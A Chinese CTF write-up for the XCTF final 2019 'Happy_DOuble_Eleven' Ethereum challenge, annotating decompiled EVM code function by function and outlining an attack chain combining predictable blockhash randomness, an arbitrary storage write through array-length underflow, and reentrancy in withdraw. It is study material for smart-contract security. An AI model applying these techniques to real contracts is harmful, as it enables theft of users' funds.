Ethereum Storage(3)-XCTF_final 2019 Happy_DOuble_Eleven

XCTF_final 2019 Happy_DOuble_Eleven

[toc]

wiki上推荐的题目。但感觉放在初学的那一节内容得看很久,尤其是关于evm逆向的相关知识,感觉这题复现完也有点蒙蒙的。

参考wp

本次复现得合约地址为0xcCaECd49e4Ea39C536291193E9301dF4d5E0A654
攻击账户0x90641D6c0691829Dd70C39EE10EA44B26ac8C5AE

前置知识

照着wiki上Ethereum Storage推荐的题目做的,但感觉梯度有点直接太高了,涉及了很多其它攻击,一共学合约就没几天哈哈哈逆向给看麻了,但还是学到了挺多。

关于重入攻击

wiki重入攻击

关于随机数预测

这题中涉及到了利用区块号生成的随机数是可预测的。
参考文章1
参考文章2
wiki部分

关于msg.data

msg.data是什么,就是完整的calldata,那calldata又是什么呢,我理解就是调用函数时包含的参数函数签名等等所有的数据。
可以参考这个例子,这个函数需要5个参数,然后返回msg.data

1
2
3
4
5
6
7
8
9
10
11
12
function getMsgData(
address _address,
bytes _bytes,
uint _int,
uint[] _array,
string _string
)
external
returns (bytes)
{
return msg.data;
}

然后使用以下方式调用函数

1
2
3
4
5
6
7
contract.getMsgData(
someAddress,
web3.toHex('my bytes'),
12,
[1, 4, 412],
'thisislargerthanthirtytwobytesstring'
);

最后返回的msg.data是这样的,可以看到第一行是调用的函数签名,后面一次是函数需要的参数值。其实这样来看的话就是理解abi了就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0xd1621754 // (1) methodId
000000000000000000000000c6e012db5298275a4c11b3e07d2caba88473fce1 // (2) "_address"
00000000000000000000000000000000000000000000000000000000000000a0 // (3) location of start of "_bytes" data (item 7) = 160 bytes
000000000000000000000000000000000000000000000000000000000000000c // (4) "_val" = 12
00000000000000000000000000000000000000000000000000000000000000e0 // (5) location of start of "_array" data (item 9) = 224 bytes
0000000000000000000000000000000000000000000000000000000000000160 // (6) location of start of "_string" data (item 13) = 352 bytes
0000000000000000000000000000000000000000000000000000000000000008 // (7) size of "_bytes" data in bytes (32 bytes)
6d79206279746573000000000000000000000000000000000000000000000000 // (8) "_bytes" data padded to 32 bytes
0000000000000000000000000000000000000000000000000000000000000003 // (9) length of "_array" data = 3
0000000000000000000000000000000000000000000000000000000000000001 // (10) _array[0] value = 1
0000000000000000000000000000000000000000000000000000000000000004 // (11) _array[2] value = 4
000000000000000000000000000000000000000000000000000000000000019c // (12) _array[3] value = 412
0000000000000000000000000000000000000000000000000000000000000024 // (13) size of "_string" data in bytes (64 bytes)
7468697369736c61726765727468616e74686972747974776f6279746573737472696e670..0 // (14) "_string" data padded to 64 bytes

逆向分析

合约地址0x7D43878EFBF99C6B5B0eb288026B1d48588C1793

合约反编译出来有这些函数。

反汇编出来最开始的那一段是这样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
contract Contract {
function main() {
#进入main函数,把0x80写到[0x40 ,0x40 + 0x20]这块内存里面,因为内存是空的,这会创建新的内存
#对应的opcode操作
#PUSH1 0x80
#PUSH1 0x40
#MSTORE 即为 MSTORE(arg0, arg1)从栈中获取两个参数,表示MEM[0x40:(0x40+32)=0x60] = 0x80。
#正在做的是分配96个字节的存储器并将指针移动到第64个字节的开头。 我们现在有64个字节用于临时空间,32个字节用于临时存储器存储。
#可靠性文档声明如下:"Solidity以一种非常简单的方式管理内存:内存中位置0x40有一个"空闲内存指针"。如果你想分配内存,只需使用该点的内存并相应地更新指针。"
#其实还是没太看明白这里在干啥也许就像re里面的初始化空间吧。
memory[0x40:0x60] = 0x80;

# 判断用户输入的data内容长度是否小于4,如果满足就revert(关于revert,assert,require的比较)
#其实就是判断是否是正确的调用函数的字节数,因为调用函数需要使用其前四字节,如果小于就明显不对。
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }

#与上0xffffffff(即四字节)获取data的低4位,赋值给var0,其实就是取函数签名,前四个字节(函数签名四个字节表示为0xffffffff类型) ,
#EVM里对函数的调用都是取bytes4(keccak256(函数名(参数类型1,参数类型2))传递的,即对函数签名做keccak256哈希后取前4字节
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;

然后利用var0来判断调用哪个函数

0x6bc344bc payforflag(string)

因为第一次逆向合约,是对着源码一起看的,反编译代码和注释分析如下。
首先看调用payforflag的地方,这里我看了挺久的也问了一些大佬,2333evm逆向真不比re简单啊。

这里就涉及到了msg.data我们看看直接调用这个函数的完整calldata。很容易看懂,string类型是边长的,所以第一个byte32就是string的offset 0x20(函数就一个参数)。然后第二个就是string的长度0x06,最后一个就是string值了。

所以这里temp2就是offset了然后还得加上函数签名的四字节,temp3获取到string的长度,但是temp4不是从msg.data里面取值了,temp4是空闲内存指针的值

然后对于中间那三个memory的操作,首先可以看懂这篇文章,sodility文档内联汇编部分也讲了。

  • 所以memory[0x40:0x60] = temp4 + (temp3 + 0x1f) / 0x20 * 0x20 + 0x20;就是在计算空闲内存指针实际指向的位置,然后放入,memory[0x40:0x60]中,memory[0x40:0x60]就类似于一个入口点的样子。

  • 计算出空闲内存指针实际位置之后,就开始从这个新地址分配内存来存放一些函数需要使用的参数临时数据。例如这里最先存储的是temp3即string长度

  • 然后将string参数的值放到了memory[temp4 + 0x20:temp4 + 0x20 + temp3]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    else if (var0 == 0x6bc344bc) {
    // Dispatch table entry for payforflag(string)
    var1 = msg.value;

    if (var1) { revert(memory[0x00:0x00]); }

    var1 = 0x0282;
    var temp2 = msg.data[0x04:0x24] + 0x04;
    var temp3 = msg.data[temp2:temp2 + 0x20];
    var temp4 = memory[0x40:0x60];
    memory[0x40:0x60] = temp4 + (temp3 + 0x1f) / 0x20 * 0x20 + 0x20;
    memory[temp4:temp4 + 0x20] = temp3;
    memory[temp4 + 0x20:temp4 + 0x20 + temp3] = msg.data[temp2 + 0x20:temp2 + 0x20 + temp3];
    var2 = temp4;
    payforflag(var2);
    stop();

    函数里面有几个要求

  • 要求 msg.sender == storage[0x00](所以最开始肯定定义了address public owner这种,并且这里大概率使用了onlyOwner来修饰这个函数)

  • 要求 msg.sender 后三12位为 0x111

  • 要求 storage[0x06] == 0x03

  • 要求 storage[0x05] > 0x8ac7230489e80000 (感觉这种就能判断为mapping类型并且大概率类似mapping (address => uint))

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    function payforflag(var arg0) {
    //其实就是用了onlyOwner来修饰函数,等价于语句require(msg.sender == owner)
    if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }

    //需要调用合约的账户后三位是0x111
    if (msg.sender & 0x0fff != 0x0111) { revert(memory[0x00:0x00]); }

    //0x06即slot7 ,说明前面还定义了一些变量
    memory[0x00:0x20] = msg.sender;
    memory[0x20:0x40] = 0x06;

    //类似于keccak256(abi.encodePacked(k, p)),这里很明显是一个mapping类型变量
    //读取值然后要求 level[msg.sender] == 3(level是变量名这里是看了源码写的,下面的变量名同)
    if (storage[keccak256(memory[0x00:0x40])] != 0x03) { revert(memory[0x00:0x00]); }

    //0x05 即 slot6 ,也是一个mapping类型
    memory[0x00:0x20] = msg.sender;
    memory[0x20:0x40] = 0x05;

    //要求 mycart[msg.sender] > 10000000000000000000
    if (storage[keccak256(memory[0x00:0x40])] <= 0x8ac7230489e80000) { revert(memory[0x00:0x00]); }

    //将storage[0x04]赋值为0x00,
    memory[0x00:0x20] = msg.sender;
    memory[0x20:0x40] = 0x04;
    storage[keccak256(memory[0x00:0x40])] = 0x00;

    //将storage[0x06]赋值为0x00,即level[msg.sender] = 0
    memory[0x00:0x20] = msg.sender;
    memory[0x20:0x40] = 0x06;
    storage[keccak256(memory[0x00:0x40])] = 0x00;

    //storage[0x02] 最后个字节赋值为0,这里也能看出这是一个单字节变量,这里有可能是个bool型,
    //但是也可能是个变长型变量例如动态数组等,这里存储的是长度,从源码可以看到这里是对应一个bool型变量。
    storage[0x02] = (storage[0x02] & ~0xff) | 0x00;


    //0xff * 0x0100 ** 0x14)=0xff0000000000000000000000000000000000000000
    //算得的结果是21字节,所以大概率第一个字节是个bool型,后面二十字节是一个address类型值
    //所以这里就是将storage[0x00]第一个字节赋值为0x00
    storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x00;


    var var0 = 0x00;
    var var1 = 0x0eed;
    var var2 = 0x01;
    var var3 = var0;
    func_1489(var2, var3);
    var0 = 0x296b9274d26b7baffb5cc93e1af19012c35ace27ba9acf1badff99d1f76dfa69;
    var temp0 = arg0;
    var1 = temp0;
    var temp1 = memory[0x40:0x60];
    var2 = temp1;
    var3 = var2;
    var temp2 = var3 + 0x20;
    memory[var3:var3 + 0x20] = temp2 - var3;
    memory[temp2:temp2 + 0x20] = memory[var1:var1 + 0x20];
    var var4 = temp2 + 0x20;
    var var6 = memory[var1:var1 + 0x20];
    var var5 = var1 + 0x20;
    var var7 = var6;
    var var8 = var4;
    var var9 = var5;
    var var10 = 0x00;

    if (var10 >= var7) {
    label_0F50:
    var temp3 = var6;
    var4 = temp3 + var4;
    var5 = temp3 & 0x1f;

    if (!var5) {
    var temp4 = memory[0x40:0x60];
    log(memory[temp4:temp4 + var4 - temp4], [stack[-6]]);
    return;
    } else {
    var temp5 = var5;
    var temp6 = var4 - temp5;
    memory[temp6:temp6 + 0x20] = ~(0x0100 ** (0x20 - temp5) - 0x01) & memory[temp6:temp6 + 0x20];
    var temp7 = memory[0x40:0x60];
    log(memory[temp7:temp7 + (temp6 + 0x20) - temp7], [stack[-6]]);
    return;
    }
    } else {
    label_0F3E:
    var temp8 = var10;
    memory[var8 + temp8:var8 + temp8 + 0x20] = memory[var9 + temp8:var9 + temp8 + 0x20];
    var10 = temp8 + 0x20;

    if (var10 >= var7) { goto label_0F50; }
    else { goto label_0F3E; }
    }
    }

0xed21248c Deposit()

调用Deposit函数倒没啥,因为没有传参,所以直接调用即可,

1
2
3
4
5
} else if (var0 == 0xed21248c) {
// Dispatch table entry for Deposit()
var1 = 0x050c;
Deposit();
stop();

函数分析。

  • 首先需要msg.value >= 500000000000000000000 wei 即 500eth,然后slot[0x05] + 0x01.

  • 结合 payforflag 来看,这个操作不现实,因为 payforflag 中要求 storage[0x05] > 0x8ac7230489e80000 ,即要将 msg.value >= 500 eth 进行 0x8ac7230489e80000+1 次

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function Deposit() {
    //要求msg.value >= 500000000000000000000
    if (msg.value < 0x1b1ae4d6e2ef500000) { return; }

    //slot[0x05] = slot[0x05] + 0x01
    memory[0x00:0x20] = msg.sender;
    memory[0x20:0x40] = 0x05;
    var temp0 = keccak256(memory[0x00:0x40]);
    storage[temp0] = storage[temp0] + 0x01;
    }

0x24b04905 gift()

函数调用,没啥说的。

1
2
3
4
5
6
7
8
9
} else if (var0 == 0x24b04905) {
// Dispatch table entry for gift()
var1 = msg.value;

if (var1) { revert(memory[0x00:0x00]); }

var1 = 0x01d5;
gift();
stop();

函数分析

  • 要求 address(msg.sender).code.length == 0 ,即在合约 constructor 中运行即可
  • 要求 msg.sender 后三个数为 0x111
  • 满足上述条件后,storage[0x04] = 100 , storage[0x05] += 1 , storage[0x06] += 1
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    function gift() {
    //要求address(msg.sender).code.length == 0 就是要求在construct构造函数中使用,因为此时没有函数签名了。
    var var0 = address(msg.sender).code.length;

    if (var0 != 0x00) { revert(memory[0x00:0x00]); }


    memory[0x00:0x20] = msg.sender;
    memory[0x20:0x40] = 0x05;
    //要求 slot[0x05] == 0
    if (storage[keccak256(memory[0x00:0x40])] != 0x00) { revert(memory[0x00:0x00]); }

    //要求msg.sender账户后三位是0x111
    if (msg.sender & 0x0fff != 0x0111) { revert(memory[0x00:0x00]); }

    //slot[0x04] = 0x64
    memory[0x00:0x20] = msg.sender;
    memory[0x20:0x40] = 0x04;
    storage[keccak256(memory[0x00:0x40])] = 0x64;

    //slot[0x05]=slot[0x05] + 1
    memory[0x00:0x20] = msg.sender;
    memory[0x20:0x40] = 0x05;
    var temp0 = keccak256(memory[0x00:0x40]);
    storage[temp0] = storage[temp0] + 0x01;

    //slot[0x06] = slot[0x06] + 1
    memory[0x00:0x20] = msg.sender;
    memory[0x20:0x40] = 0x06;
    var temp1 = keccak256(memory[0x00:0x40]);
    storage[temp1] = storage[temp1] + 0x01;
    }

0x23de8635 func_06CE(arg0)

这个函数逆向稍显复杂,但相应源码其实很短

1
2
3
4
5
6
7
function Chopping(uint _hand) public {
Tmall tmall = Tmall(msg.sender);
if (!tmall.Chop_hand(_hand)) {
hand = _hand;
have_chopped = tmall.Chop_hand(hand);
}
}

反编译如下,分析都写在注释里面了。所以这个函数最终干了什么呢。

  • 调用了两次同一个函数0xa8286aca
  • 第一次调用仅仅就判断了函数的返回值取反之后是满足true还是false,如果通过if判断则会将storage[0x03]赋值为第一次调用0xa8286aca的函数参数,然后第二次调用0xa8286aca函数,并将结果赋值给storage[0x02].

而在大佬wp里面明显看出来了更多东西。这里有个疑问,是如何确定两次调用函数返回结果不一样的。

总体来看,这里调用了 0xa8286aca 两次,输入同样的参数 arg0 一次, 0xa8286aca 第一次和第二次返回的结果不一样,但是一个 function 当它的参数确定时,他的返回结果也应该是确定的,而不会两次不一样,所以 0xa8286aca 这里应该是一个接口函数,我们是可以改写的,最后改变了 storage[0x02] 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
function func_06CE(var arg0) {
var var0 = msg.sender;
var var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff;
var var2 = 0xa8286aca;
var temp0 = memory[0x40:0x60];

//将memory[temp0:temp0 + 0x20]设置成了一个函数签名值
memory[temp0:temp0 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp1 = temp0 + 0x04;

//赋值arg0 ,其实就是调用0xa8286aca函数时的参数。
memory[temp1:temp1 + 0x20] = arg0;
var var3 = temp1 + 0x20; // memory[0x40:0x60] + 0x04 + 0x20
var var4 = 0x20;
var var5 = memory[0x40:0x60];
var var6 = var3 - var5; //0x24
var var7 = var5; //memory[0x40:0x60];
var var8 = 0x00;
var var9 = var1; //msg.sender
var var10 = !address(var9).code.length;

if (var10) { revert(memory[0x00:0x00]); }

var temp2;
//调用0xa8286aca函数,temp2用于判断是否调用成功,memory[var5:var5 + var4]存储返回值
temp2, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]);
var4 = !temp2;

//判断是否调用成功
if (!var4) {
var1 = memory[0x40:0x60];
var2 = returndata.length;

if (var2 < 0x20) { revert(memory[0x00:0x00]); }

//判断函数返回值是true还是false(不一定就必须返回bool类型)
if (memory[var1:var1 + 0x20]) {
label_0850:
return;
} else {
//将函数参数赋值给了storage[0x03]
storage[0x03] = arg0;

//下面流程和上面差不多,就是再次调用0xa8286aca这个函数,区别在于最后改变了storage[0x02]的值
var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = 0xa8286aca;
var temp3 = memory[0x40:0x60];
memory[temp3:temp3 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp4 = temp3 + 0x04;
memory[temp4:temp4 + 0x20] = storage[0x03];
var3 = temp4 + 0x20;
var4 = 0x20;
var5 = memory[0x40:0x60];
var6 = var3 - var5;
var7 = var5;
var8 = 0x00;
var9 = var1;
var10 = !address(var9).code.length;

if (var10) { revert(memory[0x00:0x00]); }

var temp5;
temp5, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]);
var4 = !temp5;

if (!var4) {
var1 = memory[0x40:0x60];
var2 = returndata.length;

if (var2 < 0x20) { revert(memory[0x00:0x00]); }

//这里看起来很复杂,但其实最终就是storage[0x02]= memory[var1:var1 + 0x20]
storage[0x02] = !!memory[var1:var1 + 0x20] | (storage[0x02] & ~0xff);
goto label_0850;
} else {
var temp6 = returndata.length;
memory[0x00:0x00 + temp6] = returndata[0x00:0x00 + temp6];
revert(memory[0x00:0x00 + returndata.length]);
}
}
} else {
var temp7 = returndata.length;
memory[0x00:0x00 + temp7] = returndata[0x00:0x00 + temp7];
revert(memory[0x00:0x00 + returndata.length]);
}
}

0x9189fec1 guess(uint256)

  • 首先要求 arg0 == block.blockHash(block.number - 0x01) % 3 ,这个很容易满足,因为利用区块号生成的随机数是可预测的
  • 满足要求后,storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x0100 ** 0x14 ,即 storage[0x00] 的address地址的前一个字节设为1,其实就是bool和address放在一个slot下的情况,这里只改了那个bool值。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    function guess(var arg0) {
    var var1 = 0x00;
    var var0 = block.blockHash(block.number - 0x01);
    var var2 = 0x03;
    var var3 = var0;

    if (!var2) { assert(); }

    var1 = var3 % var2;

    if (var1 != arg0) { return; }

    storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x0100 ** 0x14;
    }

    0xa6f2ae3a buy()

    函数分析,这个函数较容易分析。

    要求 storage[0x06] == 1 ,这些调用 gift() 空投可以完成
    要求 storage[0x05] == 1 ,这些调用 gift() 空投可以完成
    要求 storage[0x02] == 1 ,结合 func_06CE 来看,只需使得 0xa8286aca 第二次调用返回 1 即可
    要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 1 , 要求storage[0x00]的从低位数第21字节 == 0x01 ,这个满足 guess 即可
    满足上述要求后,storage[0x05] += 1 ,storage[0x06] += 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function buy() {

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

//要求 storage[0x06] == 0x01
if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

//要求storage[0x05] == 0x01
if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }

//要求storage[0x02] == 0x01
if (!!(storage[0x02] & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }

//要求storage[0x00]的从低位数第21字节 == 0x01
if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;
var temp0 = keccak256(memory[0x00:0x40]);
// storage[0x05] = storage[0x05] + 0x01
storage[temp0] = storage[temp0] + 0x01;

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;
var temp1 = keccak256(memory[0x00:0x40]);
// storage[0x06] = storage[0x06] + 0x01
storage[temp1] = storage[temp1] + 0x01;
}

0x47f57b32 retract()

要求 storage[0x01] == 0 (这里的storage[0x01]就是codex.length)
要求 storage[0x05] == 0x02 ,调用 gift 后,再调用 buy 即可
要求 storage[0x06] == 0x02 ,调用 gift 后,再调用 buy 即可
要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 0x01 ,即 storage[0x00] 的高 96 位数值要求为 1 其实就是从低位开始第21字节前二十字节应该是一个address类型变量,这个满足 guess 即可
满足上述要求之后,storage[0x01] -= 0x1 ,这里应该是修改数组的长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function retract() {
if (storage[0x01] != 0x00) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;
//要求 storage[0x05] == 0x02
if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;
//要求 storage[0x06] == 0x02
if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }

var var0 = storage[0x01] - 0x01;
var var1 = 0x0cf4;
var var2 = 0x01;
var var3 = var0;
func_1489(var2, var3);
}

0x0339f300 revise(uint256,bytes32)

剩下得几个函数分析和上面的差不多。

这个函数有一个最主要的漏洞就是能够覆盖任意的storage值,payforflag那个函数是我们最终需要调用的,但那个函数要求msg.sender == storage[0x00],所以这里就能利用这个函数覆盖掉storage[0x00]为msg.sender。

要求 storage[0x05] == 0x02 ,
要求 storage[0x06] == 0x02 ,
要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 0x01 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可
要求 arg0 >= storage[0x01]
满足上述要求后,后面进行了 storage 写操作,这里是任意写操作,可以看代码的注释,因为写入storage的位置可控了
然后判断 storage[0x01] >= 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000 ,经过 retract() 后即可满足,如果不满足则storage[0x06] = storage[0x06] + 0x01;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function revise(var arg0, var arg1) {
if (storage[0x01] < 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }

var var0 = arg1;
var var1 = 0x01;
var var2 = arg0;

if (var2 >= storage[var1]) { assert(); }

memory[0x00:0x20] = var1; //0x01
//这里就是一个漏洞点了,因为var2是我们传入的参数arg0,意味着写入storage的位置我们可控,所以就可能存在slot内容覆盖了。
storage[keccak256(memory[0x00:0x20]) + var2] = var0;

if (storage[0x01] >= 0xffffffffff000000000000000000000000000000000000000000000000000000) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
return;
} else {
var0 = 0x00;
var1 = 0x0676;
var2 = 0x01;
var var3 = var0;
func_1489(var2, var3);
revert(memory[0x00:0x00]);
}
}

0xa9059cbb transfer(address,uint256)

这里是进行 storage[0x04] 之间的转账操作,一般这种转账涉及变量就类似 mapping (address => uint) public balanceOf;这种

1
2
3
4
5
6
7
8
9
function transfer(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;
var var1 = 0x11d7;
var var2 = msg.sender;
var var3 = arg0;
var var4 = arg1;
func_126F(var2, var3, var4);
return 0x01;
}

func_126F中是对于转账两账户之间的余额操作,其实就是一个账户余额加上value,另一个账户减去value。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//argo是from账户, arg1是to账户, arg2是value转账数额
function func_126F(var arg0, var arg1, var arg2) {
var var0 = 0x00;
var var1 = var0;
var var2 = 0x00;
var var3 = var2;

if (arg1 & 0xffffffffffffffffffffffffffffffffffffffff == 0xffffffffffffffffffffffffffffffffffffffff & 0x00) { revert(memory[0x00:0x00]); }

if (arg2 <= 0x00) { revert(memory[0x00:0x00]); }

var temp0 = arg0;
memory[0x00:0x20] = temp0 & 0xffffffffffffffffffffffffffffffffffffffff;
memory[0x20:0x40] = 0x04;
var temp1 = storage[keccak256(memory[0x00:0x40])];
var0 = temp1;
var temp2 = arg1;
memory[0x00:0x20] = temp2 & 0xffffffffffffffffffffffffffffffffffffffff;
memory[0x20:0x40] = 0x04;
var1 = storage[keccak256(memory[0x00:0x40])];
var temp3 = arg2;
memory[0x00:0x20] = temp0 & 0xffffffffffffffffffffffffffffffffffffffff;
memory[0x20:0x40] = 0x04;
var2 = storage[keccak256(memory[0x00:0x40])] - temp3;
memory[0x00:0x20] = temp2 & 0xffffffffffffffffffffffffffffffffffffffff;
memory[0x20:0x40] = 0x04;
var3 = storage[keccak256(memory[0x00:0x40])] + temp3;

if (var0 < temp3) { revert(memory[0x00:0x00]); }

if (var3 <= var1) { revert(memory[0x00:0x00]); }

var temp4 = var2;
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
memory[0x20:0x40] = 0x04;
storage[keccak256(memory[0x00:0x40])] = temp4;
var temp5 = var3;
memory[0x00:0x20] = arg1 & 0xffffffffffffffffffffffffffffffffffffffff;
memory[0x20:0x40] = 0x04;
storage[keccak256(memory[0x00:0x40])] = temp5;

if (var0 + var1 == temp4 + temp5) { return; }
else { assert(); }
}

0x2e1a7d4d withdraw(uint256)

要求 storage[0x05] == 0x02
要求 storage[0x06] == 0x03
要求退款每次 >= 100
要求 storage[0x04] < arg0,即余额比每次退款要多 即对应 require(balanceOf[msg.sender] >= _amount);
要求合约余额比退款要多 即require(address(this).balance >= _amount);
满足条件后,storage[0x04] -= arg0 ,然后调用 call 函数进行转账(这里存在重入攻击,因为没有对 gas 做控制),最后 storage[0x05] -= 0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function withdraw(var arg0) {
if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

if (storage[keccak256(memory[0x00:0x40])] != 0x03) { revert(memory[0x00:0x00]); }

if (arg0 < 0x64) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;

if (storage[keccak256(memory[0x00:0x40])] < arg0) { revert(memory[0x00:0x00]); }

if (address(address(this)).balance < arg0) { revert(memory[0x00:0x00]); }

var temp0 = arg0;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] - temp0;
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp0)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;
var temp3 = keccak256(memory[0x00:0x40]);
storage[temp3] = storage[temp3] - 0x01;
}

链子

分析完函数,太多信息了。。无法连起来看,这里总结一下。

payforflag函数是我们最终需要调用的函数,但是有三个条件

  • 一个账户尾数需要0x111,这个有相应网站直接生成
  • 要求 storage[0x06] == 0x03 ,可以依次调用gift(),buy(),revise()即可
  • 要求 storage[0x05] > 0x8ac7230489e80000 这个可以重入攻击
  • 要求 msg.sender == storaget[0x00] 即onlyowner修饰 这个可以覆盖storage[0x00]为msg.sender

gift函数

  • 要求 address(msg.sender).code.length == 0,即需要在合约的constructor中调用。 所以说无法重复调用,不然只用这个函数就能随意storage[0x05],storage[0x06]的值。
  • 要求 msg.sender 后三个数为 0x111 这个也可以直接生成相应账户
  • 满足上述条件后,storage[0x04] = 100 , storage[0x05] += 1 , storage[0x06] += 1

guess函数

  • 首先要求 arg0 == block.blockHash(block.number - 0x01) % 3 ,这个很容易满足,因为利用区块号生成的随机数是可预测的
  • 满足要求后,将storage[0x00] 的address地址的前一个字节设为1,其实就是bool和address放在一个slot下的情况,这里只改了那个bool值。

buy函数

  • 要求 storage[0x06] == 1 ,这些在攻击合约构造函数中调用 gift() 空投可以完成
  • 要求 storage[0x05] == 1 ,这里同上。
  • 要求 storage[0x02] == 1 ,结合 func_06CE 来看,只需使得 0xa8286aca 第二次调用返回 1 即可
  • 要求storage[0x00]的从低位数第21字节 == 0x01(前二十即为一个address),这个同guess函数要求

满足上述要求后,storage[0x05] += 1 ,storage[0x06] += 1

revise函数
存在漏洞可以覆盖任意storage的值。

  • 要求 storage[0x05] == 0x02 ,
  • 要求 storage[0x06] == 0x02 ,
  • 要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 0x01 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可
  • 要求 arg0 >= storage[0x01]
    满足上述要求后,后面进行了 storage 写操作,这里是任意写操作所以可以覆盖任意storage的值,所以就解决了payforflag的一个要求,可以将storage[0x00]修改为 msg.sender

func_06CE(arg0)函数

  • 调用了两次同一个函数0xa8286aca
